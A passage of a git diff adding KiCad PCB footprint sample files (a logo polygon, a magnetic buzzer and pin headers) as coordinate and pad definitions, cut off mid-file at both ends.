+    (xy 1.01092 0.85344) (xy 0.8636 1.09474) (xy 0.65786 1.29032) (xy 0.62992 1.31064)
+    (xy 0.53594 1.38176) (xy 0.47244 1.43002) (xy 0.42164 1.47066) (xy 0.77978 2.33172)
+    (xy 0.83566 2.46888) (xy 0.93472 2.7051) (xy 1.02108 2.9083) (xy 1.08966 3.06832)
+    (xy 1.13792 3.17754) (xy 1.15824 3.22072) (xy 1.16078 3.22326) (xy 1.19126 3.22834)
+    (xy 1.2573 3.20294) (xy 1.37668 3.14452) (xy 1.45796 3.10388) (xy 1.5494 3.0607)
+    (xy 1.59004 3.04546) (xy 1.6256 3.06324) (xy 1.71196 3.12166) (xy 1.8415 3.20548)
+    (xy 1.9939 3.30962) (xy 2.14122 3.41122) (xy 2.27584 3.50012) (xy 2.3749 3.56108)
+    (xy 2.42316 3.58902) (xy 2.43078 3.58902) (xy 2.47142 3.56362) (xy 2.55016 3.50012)
+    (xy 2.667 3.38836) (xy 2.8321 3.2258) (xy 2.8575 3.2004) (xy 2.99466 3.0607)
+    (xy 3.10642 2.94386) (xy 3.18008 2.86258) (xy 3.20548 2.82448) (xy 3.20548 2.82448)
+    (xy 3.18262 2.77622) (xy 3.11912 2.6797) (xy 3.03022 2.54254) (xy 2.921 2.38252)
+    (xy 2.63652 1.9685) (xy 2.794 1.57734) (xy 2.84226 1.45796) (xy 2.90322 1.31318)
+    (xy 2.9464 1.20904) (xy 2.9718 1.16332) (xy 3.01244 1.14808) (xy 3.12166 1.12268)
+    (xy 3.2766 1.08966) (xy 3.45948 1.05664) (xy 3.63728 1.02362) (xy 3.7973 0.99314)
+    (xy 3.9116 0.97028) (xy 3.9624 0.96012) (xy 3.9751 0.9525) (xy 3.98526 0.9271)
+    (xy 3.99288 0.87376) (xy 3.99542 0.77724) (xy 3.99796 0.62484) (xy 3.99796 0.40386)
+    (xy 3.99796 0.381) (xy 3.99542 0.17018) (xy 3.99288 0.00254) (xy 3.9878 -0.10668)
+    (xy 3.98018 -0.14986) (xy 3.98018 -0.14986) (xy 3.92938 -0.16256) (xy 3.81762 -0.18542)
+    (xy 3.6576 -0.21844) (xy 3.4671 -0.254) (xy 3.45694 -0.25654) (xy 3.26644 -0.2921)
+    (xy 3.10896 -0.32512) (xy 2.9972 -0.35052) (xy 2.95148 -0.36576) (xy 2.94132 -0.37846)
+    (xy 2.90322 -0.45212) (xy 2.84734 -0.56896) (xy 2.78638 -0.71374) (xy 2.72288 -0.86106)
+    (xy 2.66954 -0.99568) (xy 2.63398 -1.09474) (xy 2.62382 -1.14046) (xy 2.62382 -1.14046)
+    (xy 2.65176 -1.18618) (xy 2.7178 -1.28524) (xy 2.80924 -1.41986) (xy 2.921 -1.58242)
+    (xy 2.92862 -1.59512) (xy 3.03784 -1.75514) (xy 3.12674 -1.88976) (xy 3.18516 -1.98628)
+    (xy 3.20548 -2.02946) (xy 3.20548 -2.032) (xy 3.16992 -2.08026) (xy 3.08864 -2.16916)
+    (xy 2.9718 -2.29108) (xy 2.8321 -2.43332) (xy 2.78638 -2.4765) (xy 2.63144 -2.6289)
+    (xy 2.52476 -2.72796) (xy 2.45618 -2.7813) (xy 2.42316 -2.794) (xy 2.42316 -2.79146)
+    (xy 2.3749 -2.76352) (xy 2.2733 -2.69748) (xy 2.13614 -2.6035) (xy 1.97358 -2.49428)
+    (xy 1.96342 -2.48666) (xy 1.8034 -2.37744) (xy 1.67132 -2.28854) (xy 1.5748 -2.22504)
+    (xy 1.53416 -2.19964) (xy 1.52654 -2.19964) (xy 1.46304 -2.21996) (xy 1.34874 -2.25806)
+    (xy 1.20904 -2.31394) (xy 1.06172 -2.37236) (xy 0.9271 -2.42824) (xy 0.8255 -2.4765)
+    (xy 0.77724 -2.5019) (xy 0.77724 -2.50444) (xy 0.75946 -2.56286) (xy 0.73152 -2.68224)
+    (xy 0.6985 -2.84734) (xy 0.6604 -3.04292) (xy 0.65532 -3.0734) (xy 0.61976 -3.2639)
+    (xy 0.58928 -3.42138) (xy 0.56642 -3.5306) (xy 0.55372 -3.57632) (xy 0.52832 -3.5814)
+    (xy 0.43434 -3.58902) (xy 0.2921 -3.59156) (xy 0.11938 -3.5941) (xy -0.06096 -3.59156)
+    (xy -0.23622 -3.58902) (xy -0.38862 -3.58394) (xy -0.4953 -3.57632) (xy -0.54102 -3.56616)
+    (xy -0.54356 -3.56362) (xy -0.5588 -3.5052) (xy -0.5842 -3.38582) (xy -0.61976 -3.22072)
+    (xy -0.65786 -3.0226) (xy -0.66294 -2.98958) (xy -0.6985 -2.79908) (xy -0.73152 -2.64414)
+    (xy -0.75438 -2.53492) (xy -0.76708 -2.49428) (xy -0.78232 -2.48412) (xy -0.86106 -2.4511)
+    (xy -0.98806 -2.39776) (xy -1.14808 -2.33426) (xy -1.51384 -2.1844) (xy -1.96088 -2.49428)
+    (xy -2.00406 -2.52222) (xy -2.16408 -2.63144) (xy -2.2987 -2.72034) (xy -2.39014 -2.77876)
+    (xy -2.42824 -2.80162) (xy -2.43078 -2.79908) (xy -2.4765 -2.76098) (xy -2.5654 -2.67716)
+    (xy -2.68732 -2.55778) (xy -2.82702 -2.41808) (xy -2.93116 -2.31394) (xy -3.05562 -2.18694)
+    (xy -3.13436 -2.10312) (xy -3.17754 -2.04724) (xy -3.19278 -2.01422) (xy -3.1877 -1.9939)
+    (xy -3.15976 -1.94818) (xy -3.09372 -1.84912) (xy -3.00228 -1.71196) (xy -2.89306 -1.55448)
+    (xy -2.80162 -1.41986) (xy -2.7051 -1.27) (xy -2.6416 -1.16332) (xy -2.61874 -1.10998)
+    (xy -2.62382 -1.08712) (xy -2.65684 -1.00076) (xy -2.71018 -0.86614) (xy -2.77622 -0.70866)
+    (xy -2.9337 -0.35306) (xy -3.16738 -0.30988) (xy -3.30708 -0.28194) (xy -3.5052 -0.24384)
+    (xy -3.69316 -0.20828) (xy -3.9878 -0.14986) (xy -3.99796 0.93218) (xy -3.95224 0.9525)
+    (xy -3.90906 0.9652) (xy -3.79984 0.98806) (xy -3.6449 1.01854) (xy -3.45948 1.0541)
+    (xy -3.30454 1.08458) (xy -3.14452 1.11252) (xy -3.03276 1.13538) (xy -2.98196 1.14554)
+    (xy -2.96926 1.16332) (xy -2.92862 1.23952) (xy -2.87274 1.36144) (xy -2.81178 1.50876)
+    (xy -2.74828 1.65862) (xy -2.6924 1.79832) (xy -2.65176 1.905) (xy -2.63906 1.96088)
+    (xy -2.65938 2.00406) (xy -2.72034 2.0955) (xy -2.8067 2.22758) (xy -2.91338 2.38506)
+    (xy -3.0226 2.54254) (xy -3.1115 2.67716) (xy -3.175 2.77368) (xy -3.2004 2.81686)
+    (xy -3.1877 2.84734) (xy -3.12674 2.92354) (xy -3.00736 3.04546) (xy -2.8321 3.22072)
+    (xy -2.80162 3.24866) (xy -2.66192 3.38328) (xy -2.54254 3.4925) (xy -2.46126 3.56616)
+    (xy -2.42316 3.59156)) (layer F.SilkS) (width 0.00254))
+)
diff --git a/samples/KiCad Layout/Logo_Poncho.kicad_mod b/samples/KiCad Layout/Logo_Poncho.kicad_mod
new file mode 100644
index 0000000000..273aee9e0e
--- /dev/null
+++ b/samples/KiCad Layout/Logo_Poncho.kicad_mod	
@@ -0,0 +1,101 @@
+(module footprints:Logo_Poncho (layer F.Cu) (tedit 560DAFF4)
+  (fp_text reference G*** (at 0.127 5.588) (layer F.SilkS) hide
+    (effects (font (thickness 0.3)))
+  )
+  (fp_text value LOGO (at 0.762 7.493) (layer F.SilkS) hide
+    (effects (font (thickness 0.3)))
+  )
+  (fp_poly (pts (xy 4.535714 -0.627021) (xy 4.498746 -0.420109) (xy 4.405012 -0.1352) (xy 4.280272 0.162897)
+    (xy 4.150281 0.409374) (xy 4.123376 0.447413) (xy 4.123376 -0.123701) (xy 4.058326 -0.436938)
+    (xy 3.869112 -0.644378) (xy 3.564639 -0.737671) (xy 3.463636 -0.742208) (xy 3.129516 -0.681223)
+    (xy 2.908248 -0.503835) (xy 2.808734 -0.218392) (xy 2.803896 -0.123701) (xy 2.868946 0.189536)
+    (xy 3.058159 0.396975) (xy 3.362633 0.490269) (xy 3.463636 0.494805) (xy 3.797606 0.436492)
+    (xy 3.958441 0.32987) (xy 4.092315 0.09203) (xy 4.123376 -0.123701) (xy 4.123376 0.447413)
+    (xy 4.089856 0.494805) (xy 4.013749 0.621925) (xy 3.89522 0.861365) (xy 3.753792 1.172585)
+    (xy 3.672876 1.360714) (xy 3.421635 1.929272) (xy 3.149718 2.496808) (xy 2.869494 3.041693)
+    (xy 2.593334 3.542296) (xy 2.556493 3.603955) (xy 2.556493 -0.123701) (xy 2.552598 -0.439936)
+    (xy 2.534834 -0.625484) (xy 2.494089 -0.714524) (xy 2.421247 -0.741238) (xy 2.391558 -0.742208)
+    (xy 2.270831 -0.703329) (xy 2.228325 -0.558669) (xy 2.226623 -0.494805) (xy 2.206189 -0.31957)
+    (xy 2.109798 -0.254982) (xy 1.97922 -0.247402) (xy 1.803985 -0.267837) (xy 1.739397 -0.364227)
+    (xy 1.731818 -0.494805) (xy 1.705898 -0.675896) (xy 1.609459 -0.739655) (xy 1.566883 -0.742208)
+    (xy 1.482553 -0.727599) (xy 1.433074 -0.660988) (xy 1.40933 -0.508193) (xy 1.402206 -0.235036)
+    (xy 1.401948 -0.123701) (xy 1.405843 0.192533) (xy 1.423606 0.378081) (xy 1.464351 0.467122)
+    (xy 1.537193 0.493835) (xy 1.566883 0.494805) (xy 1.680559 0.462518) (xy 1.726426 0.336472)
+    (xy 1.731818 0.206169) (xy 1.745609 0.012245) (xy 1.815564 -0.067294) (xy 1.97922 -0.082467)
+    (xy 2.145441 -0.066377) (xy 2.213617 0.015237) (xy 2.226623 0.206169) (xy 2.245073 0.405103)
+    (xy 2.317099 0.48537) (xy 2.391558 0.494805) (xy 2.475887 0.480197) (xy 2.525367 0.413586)
+    (xy 2.549111 0.260791) (xy 2.556234 -0.012366) (xy 2.556493 -0.123701) (xy 2.556493 3.603955)
+    (xy 2.33361 3.976986) (xy 2.102692 4.324132) (xy 1.912952 4.562103) (xy 1.781691 4.667512)
+    (xy 1.660102 4.654002) (xy 1.438445 4.580892) (xy 1.163465 4.463746) (xy 1.154545 4.459546)
+    (xy 1.154545 0.36149) (xy 1.110706 0.268405) (xy 0.956623 0.266159) (xy 0.938776 0.269422)
+    (xy 0.717011 0.243945) (xy 0.523128 0.11531) (xy 0.417755 -0.07121) (xy 0.412337 -0.123701)
+    (xy 0.484303 -0.318602) (xy 0.658393 -0.472009) (xy 0.871896 -0.536691) (xy 0.949632 -0.528355)
+    (xy 1.105982 -0.515384) (xy 1.154279 -0.597467) (xy 1.154545 -0.609566) (xy 1.114247 -0.69528)
+    (xy 0.970303 -0.735064) (xy 0.783441 -0.742208) (xy 0.429195 -0.687347) (xy 0.198088 -0.523118)
+    (xy 0.090717 -0.250044) (xy 0.082467 -0.123701) (xy 0.144642 0.188869) (xy 0.330769 0.392787)
+    (xy 0.640252 0.487526) (xy 0.783441 0.494805) (xy 1.022962 0.480515) (xy 1.134243 0.429291)
+    (xy 1.154545 0.36149) (xy 1.154545 4.459546) (xy 1.148315 4.456614) (xy 0.592041 4.256938)
+    (xy 0.061238 4.207886) (xy -0.164935 4.249843) (xy -0.164935 -0.123701) (xy -0.168831 -0.439936)
+    (xy -0.186594 -0.625484) (xy -0.227339 -0.714524) (xy -0.300181 -0.741238) (xy -0.329871 -0.742208)
+    (xy -0.435349 -0.716231) (xy -0.483875 -0.609894) (xy -0.495586 -0.391721) (xy -0.496366 -0.041234)
+    (xy -0.706429 -0.391721) (xy -0.874005 -0.625569) (xy -1.029731 -0.729733) (xy -1.117986 -0.742208)
+    (xy -1.220495 -0.733937) (xy -1.280586 -0.685976) (xy -1.309571 -0.563603) (xy -1.318762 -0.332094)
+    (xy -1.319481 -0.123701) (xy -1.315585 0.192533) (xy -1.297822 0.378081) (xy -1.257077 0.467122)
+    (xy -1.184235 0.493835) (xy -1.154546 0.494805) (xy -1.049068 0.468829) (xy -1.000541 0.362492)
+    (xy -0.988831 0.144318) (xy -0.98805 -0.206169) (xy -0.777988 0.144318) (xy -0.610412 0.378167)
+    (xy -0.454685 0.48233) (xy -0.36643 0.494805) (xy -0.263922 0.486535) (xy -0.203831 0.438574)
+    (xy -0.174846 0.3162) (xy -0.165655 0.084692) (xy -0.164935 -0.123701) (xy -0.164935 4.249843)
+    (xy -0.48241 4.308738) (xy -0.783442 4.420415) (xy -1.059466 4.535832) (xy -1.285963 4.626797)
+    (xy -1.401948 4.669513) (xy -1.518876 4.625399) (xy -1.566884 4.584033) (xy -1.566884 -0.123701)
+    (xy -1.631934 -0.436938) (xy -1.821147 -0.644378) (xy -2.12562 -0.737671) (xy -2.226624 -0.742208)
+    (xy -2.560743 -0.681223) (xy -2.782012 -0.503835) (xy -2.881525 -0.218392) (xy -2.886364 -0.123701)
+    (xy -2.821314 0.189536) (xy -2.6321 0.396975) (xy -2.327627 0.490269) (xy -2.226624 0.494805)
+    (xy -1.892653 0.436492) (xy -1.731819 0.32987) (xy -1.597945 0.09203) (xy -1.566884 -0.123701)
+    (xy -1.566884 4.584033) (xy -1.717176 4.454536) (xy -1.98582 4.166799) (xy -2.061689 4.078924)
+    (xy -2.369861 3.70727) (xy -2.632201 3.363429) (xy -2.870341 3.013116) (xy -2.968832 2.849614)
+    (xy -2.968832 -0.32987) (xy -3.007485 -0.54598) (xy -3.140146 -0.67528) (xy -3.391869 -0.734039)
+    (xy -3.603832 -0.742208) (xy -4.04091 -0.742208) (xy -4.04091 -0.123701) (xy -4.037014 0.192533)
+    (xy -4.019251 0.378081) (xy -3.978506 0.467122) (xy -3.905664 0.493835) (xy -3.875974 0.494805)
+    (xy -3.746639 0.446485) (xy -3.711039 0.288637) (xy -3.687673 0.146227) (xy -3.584731 0.090232)
+    (xy -3.438897 0.082468) (xy -3.16065 0.034793) (xy -3.008068 -0.114765) (xy -2.968832 -0.32987)
+    (xy -2.968832 2.849614) (xy -3.105916 2.622046) (xy -3.360558 2.155935) (xy -3.6559 1.580499)
+    (xy -3.724805 1.443182) (xy -3.927446 1.040996) (xy -4.107468 0.68891) (xy -4.250627 0.414385)
+    (xy -4.342678 0.24488) (xy -4.366512 0.206169) (xy -4.479713 -0.061738) (xy -4.470402 -0.368299)
+    (xy -4.39208 -0.562072) (xy -4.211754 -0.794239) (xy -3.970771 -1.027175) (xy -3.729883 -1.205582)
+    (xy -3.628572 -1.257014) (xy -3.515586 -1.328258) (xy -3.31072 -1.481511) (xy -3.047204 -1.691308)
+    (xy -2.861153 -1.845142) (xy -2.478394 -2.151727) (xy -2.09396 -2.434151) (xy -1.735885 -2.674156)
+    (xy -1.432202 -2.853482) (xy -1.210945 -2.953871) (xy -1.135923 -2.968831) (xy -0.992755 -2.911987)
+    (xy -0.868796 -2.807085) (xy -0.798823 -2.718089) (xy -0.768465 -2.621372) (xy -0.779148 -2.476306)
+    (xy -0.832302 -2.242261) (xy -0.897248 -1.997411) (xy -1.002077 -1.614541) (xy -1.0637 -1.342913)
+    (xy -1.062894 -1.163551) (xy -0.980436 -1.05748) (xy -0.797105 -1.005726) (xy -0.493678 -0.989314)
+    (xy -0.050932 -0.989267) (xy 0.123701 -0.98961) (xy 0.616616 -0.993152) (xy 0.963601 -1.004879)
+    (xy 1.183529 -1.026446) (xy 1.295275 -1.059505) (xy 1.31948 -1.094352) (xy 1.298521 -1.22034)
+    (xy 1.243133 -1.457326) (xy 1.164548 -1.757819) (xy 1.150407 -1.809213) (xy 1.043088 -2.255847)
+    (xy 1.008894 -2.569631) (xy 1.048676 -2.765972) (xy 1.163285 -2.860279) (xy 1.208992 -2.870512)
+    (xy 1.420553 -2.83991) (xy 1.739874 -2.711189) (xy 2.149801 -2.493929) (xy 2.633175 -2.197713)
+    (xy 3.172841 -1.832122) (xy 3.525487 -1.576813) (xy 3.929546 -1.272303) (xy 4.214754 -1.04349)
+    (xy 4.398878 -0.873667) (xy 4.499689 -0.746128) (xy 4.534955 -0.644167) (xy 4.535714 -0.627021)
+    (xy 4.535714 -0.627021)) (layer F.SilkS) (width 0.1))
+  (fp_poly (pts (xy 1.023542 -3.736319) (xy 0.895402 -3.389445) (xy 0.679417 -3.11223) (xy 0.563302 -2.982356)
+    (xy 0.508034 -2.869698) (xy 0.506066 -2.720981) (xy 0.549854 -2.48293) (xy 0.574294 -2.370022)
+    (xy 0.658312 -1.973188) (xy 0.69611 -1.709422) (xy 0.675383 -1.550382) (xy 0.583822 -1.467723)
+    (xy 0.409122 -1.433104) (xy 0.16144 -1.419187) (xy -0.12355 -1.415195) (xy -0.339882 -1.428263)
+    (xy -0.43645 -1.453549) (xy -0.490308 -1.618268) (xy -0.466441 -1.923684) (xy -0.365224 -2.365222)
+    (xy -0.360015 -2.384058) (xy -0.225225 -2.868872) (xy -0.488808 -3.104404) (xy -0.714353 -3.402585)
+    (xy -0.808424 -3.746824) (xy -0.77552 -4.096523) (xy -0.620138 -4.411085) (xy -0.346777 -4.649915)
+    (xy -0.31571 -4.666738) (xy 0.033719 -4.763905) (xy 0.380075 -4.71573) (xy 0.68714 -4.538441)
+    (xy 0.918691 -4.248265) (xy 0.989692 -4.081895) (xy 1.023542 -3.736319) (xy 1.023542 -3.736319)) (layer F.SilkS) (width 0.1))
+  (fp_poly (pts (xy -3.320079 -0.321578) (xy -3.381169 -0.206169) (xy -3.537606 -0.087441) (xy -3.656944 -0.12265)
+    (xy -3.710414 -0.301007) (xy -3.711039 -0.32987) (xy -3.666881 -0.523821) (xy -3.553583 -0.57585)
+    (xy -3.399915 -0.47517) (xy -3.381169 -0.453571) (xy -3.320079 -0.321578) (xy -3.320079 -0.321578)) (layer F.SilkS) (width 0.1))
+  (fp_poly (pts (xy -1.911824 -0.1467) (xy -1.935194 -0.006732) (xy -2.006645 0.114199) (xy -2.128505 0.265484)
+    (xy -2.225472 0.329848) (xy -2.226624 0.32987) (xy -2.322643 0.267542) (xy -2.444552 0.117317)
+    (xy -2.446603 0.114199) (xy -2.537406 -0.05684) (xy -2.52656 -0.197017) (xy -2.465958 -0.318756)
+    (xy -2.343482 -0.473895) (xy -2.226624 -0.536039) (xy -2.106037 -0.47051) (xy -1.987289 -0.318756)
+    (xy -1.911824 -0.1467) (xy -1.911824 -0.1467)) (layer F.SilkS) (width 0.1))
+  (fp_poly (pts (xy 3.778435 -0.1467) (xy 3.755065 -0.006732) (xy 3.683615 0.114199) (xy 3.561755 0.265484)
+    (xy 3.464788 0.329848) (xy 3.463636 0.32987) (xy 3.367616 0.267542) (xy 3.245708 0.117317)
+    (xy 3.243657 0.114199) (xy 3.152854 -0.05684) (xy 3.163699 -0.197017) (xy 3.224301 -0.318756)
+    (xy 3.346778 -0.473895) (xy 3.463636 -0.536039) (xy 3.584223 -0.47051) (xy 3.702971 -0.318756)
+    (xy 3.778435 -0.1467) (xy 3.778435 -0.1467)) (layer F.SilkS) (width 0.1))
+)
diff --git a/samples/KiCad Layout/MagneticBuzzer_ProSignal_ABT-410-RC.kicad_mod b/samples/KiCad Layout/MagneticBuzzer_ProSignal_ABT-410-RC.kicad_mod
new file mode 100644
index 0000000000..411ce39892
--- /dev/null
+++ b/samples/KiCad Layout/MagneticBuzzer_ProSignal_ABT-410-RC.kicad_mod	
@@ -0,0 +1,24 @@
+(module footprints:MagneticBuzzer_ProSignal_ABT-410-RC (layer F.Cu) (tedit 544E5504)
+  (descr "Buzzer, Elektromagnetic Beeper, Summer, 1,5V-DC,")
+  (tags "Pro Signal, ABT-410-RC,")
+  (fp_text reference U1 (at 3.175 -8.001) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.15)))
+  )
+  (fp_text value BUZZER (at 2.17424 8.001) (layer F.Fab)
+    (effects (font (size 1 1) (thickness 0.15)))
+  )
+  (fp_line (start 8.17626 -0.50038) (end 8.17626 0.50038) (layer F.SilkS) (width 0.15))
+  (fp_line (start 7.67588 0) (end 8.6741 0) (layer F.SilkS) (width 0.15))
+  (fp_circle (center 3.175 0) (end 4.17576 0) (layer F.SilkS) (width 0.15))
+  (fp_text user + (at 10.67562 0) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.15)))
+  )
+  (fp_circle (center 3.175 0) (end 9.37514 0) (layer F.SilkS) (width 0.15))
+  (pad 1 thru_hole circle (at 0 0) (size 1.6002 1.6002) (drill 1.00076) (layers *.Cu *.Mask F.SilkS))
+  (pad 2 thru_hole circle (at 6.35 0) (size 1.6002 1.6002) (drill 1.00076) (layers *.Cu *.Mask F.SilkS))
+  (model Buzzers_Beepers.3dshapes/MagneticBuzzer_ProSignal_ABT-410-RC.wrl
+    (at (xyz 0 0 0))
+    (scale (xyz 1 1 1))
+    (rotate (xyz 0 0 0))
+  )
+)
diff --git a/samples/KiCad Layout/Pin_Header_Straight_2x02.kicad_mod b/samples/KiCad Layout/Pin_Header_Straight_2x02.kicad_mod
new file mode 100644
index 0000000000..ae4e0c6433
--- /dev/null
+++ b/samples/KiCad Layout/Pin_Header_Straight_2x02.kicad_mod	
@@ -0,0 +1,31 @@
+(module footprints:Pin_Header_Straight_2x02 (layer F.Cu) (tedit 0)
+  (descr "Through hole pin header")
+  (tags "pin header")
+  (fp_text reference P1 (at 0 -5.1) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.15)))
+  )
+  (fp_text value PWR_JUMPER (at 0 -3.1) (layer F.Fab)
+    (effects (font (size 1 1) (thickness 0.15)))
+  )
+  (fp_line (start -1.75 -1.75) (end -1.75 4.3) (layer F.CrtYd) (width 0.05))
+  (fp_line (start 4.3 -1.75) (end 4.3 4.3) (layer F.CrtYd) (width 0.05))
+  (fp_line (start -1.75 -1.75) (end 4.3 -1.75) (layer F.CrtYd) (width 0.05))
+  (fp_line (start -1.75 4.3) (end 4.3 4.3) (layer F.CrtYd) (width 0.05))
+  (fp_line (start -1.55 0) (end -1.55 -1.55) (layer F.SilkS) (width 0.15))
+  (fp_line (start 0 -1.55) (end -1.55 -1.55) (layer F.SilkS) (width 0.15))
+  (fp_line (start -1.27 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+  (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+  (fp_line (start 1.27 -1.27) (end 3.81 -1.27) (layer F.SilkS) (width 0.15))
+  (fp_line (start 3.81 -1.27) (end 3.81 3.81) (layer F.SilkS) (width 0.15))
+  (fp_line (start 3.81 3.81) (end -1.27 3.81) (layer F.SilkS) (width 0.15))
+  (fp_line (start -1.27 3.81) (end -1.27 1.27) (layer F.SilkS) (width 0.15))
+  (pad 1 thru_hole rect (at 0 0) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 2 thru_hole oval (at 2.54 0) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 3 thru_hole oval (at 0 2.54) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 4 thru_hole oval (at 2.54 2.54) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (model Pin_Headers.3dshapes/Pin_Header_Straight_2x02.wrl
+    (at (xyz 0.05 -0.05 0))
+    (scale (xyz 1 1 1))
+    (rotate (xyz 0 0 90))
+  )
+)
diff --git a/samples/KiCad Layout/Pin_Header_Straight_2x20.kicad_mod b/samples/KiCad Layout/Pin_Header_Straight_2x20.kicad_mod
new file mode 100644
index 0000000000..8d7e273302
--- /dev/null
+++ b/samples/KiCad Layout/Pin_Header_Straight_2x20.kicad_mod	
@@ -0,0 +1,67 @@
+(module footprints:Pin_Header_Straight_2x20 (layer F.Cu) (tedit 0)
+  (descr "Through hole pin header")
+  (tags "pin header")
+  (fp_text reference XA2 (at 0 -5.1) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.15)))
+  )
+  (fp_text value Conn_Poncho2P_2x_20x2 (at 0 -3.1) (layer F.Fab)
+    (effects (font (size 1 1) (thickness 0.15)))
+  )
+  (fp_line (start -1.75 -1.75) (end -1.75 50.05) (layer F.CrtYd) (width 0.05))
+  (fp_line (start 4.3 -1.75) (end 4.3 50.05) (layer F.CrtYd) (width 0.05))
+  (fp_line (start -1.75 -1.75) (end 4.3 -1.75) (layer F.CrtYd) (width 0.05))
+  (fp_line (start -1.75 50.05) (end 4.3 50.05) (layer F.CrtYd) (width 0.05))
+  (fp_line (start 3.81 49.53) (end 3.81 -1.27) (layer F.SilkS) (width 0.15))
+  (fp_line (start -1.27 1.27) (end -1.27 49.53) (layer F.SilkS) (width 0.15))
+  (fp_line (start 3.81 49.53) (end -1.27 49.53) (layer F.SilkS) (width 0.15))
+  (fp_line (start 3.81 -1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+  (fp_line (start 0 -1.55) (end -1.55 -1.55) (layer F.SilkS) (width 0.15))
+  (fp_line (start 1.27 -1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+  (fp_line (start 1.27 1.27) (end -1.27 1.27) (layer F.SilkS) (width 0.15))
+  (fp_line (start -1.55 -1.55) (end -1.55 0) (layer F.SilkS) (width 0.15))
+  (pad 1 thru_hole rect (at 0 0) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 2 thru_hole oval (at 2.54 0) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 3 thru_hole oval (at 0 2.54) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 4 thru_hole oval (at 2.54 2.54) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 5 thru_hole oval (at 0 5.08) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 6 thru_hole oval (at 2.54 5.08) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 7 thru_hole oval (at 0 7.62) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 8 thru_hole oval (at 2.54 7.62) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 9 thru_hole oval (at 0 10.16) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 10 thru_hole oval (at 2.54 10.16) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 11 thru_hole oval (at 0 12.7) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 12 thru_hole oval (at 2.54 12.7) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 13 thru_hole oval (at 0 15.24) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 14 thru_hole oval (at 2.54 15.24) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 15 thru_hole oval (at 0 17.78) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 16 thru_hole oval (at 2.54 17.78) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 17 thru_hole oval (at 0 20.32) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 18 thru_hole oval (at 2.54 20.32) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 19 thru_hole oval (at 0 22.86) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 20 thru_hole oval (at 2.54 22.86) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 21 thru_hole oval (at 0 25.4) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 22 thru_hole oval (at 2.54 25.4) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 23 thru_hole oval (at 0 27.94) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 24 thru_hole oval (at 2.54 27.94) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 25 thru_hole oval (at 0 30.48) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 26 thru_hole oval (at 2.54 30.48) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 27 thru_hole oval (at 0 33.02) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 28 thru_hole oval (at 2.54 33.02) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 29 thru_hole oval (at 0 35.56) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 30 thru_hole oval (at 2.54 35.56) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 31 thru_hole oval (at 0 38.1) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 32 thru_hole oval (at 2.54 38.1) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 33 thru_hole oval (at 0 40.64) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 34 thru_hole oval (at 2.54 40.64) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
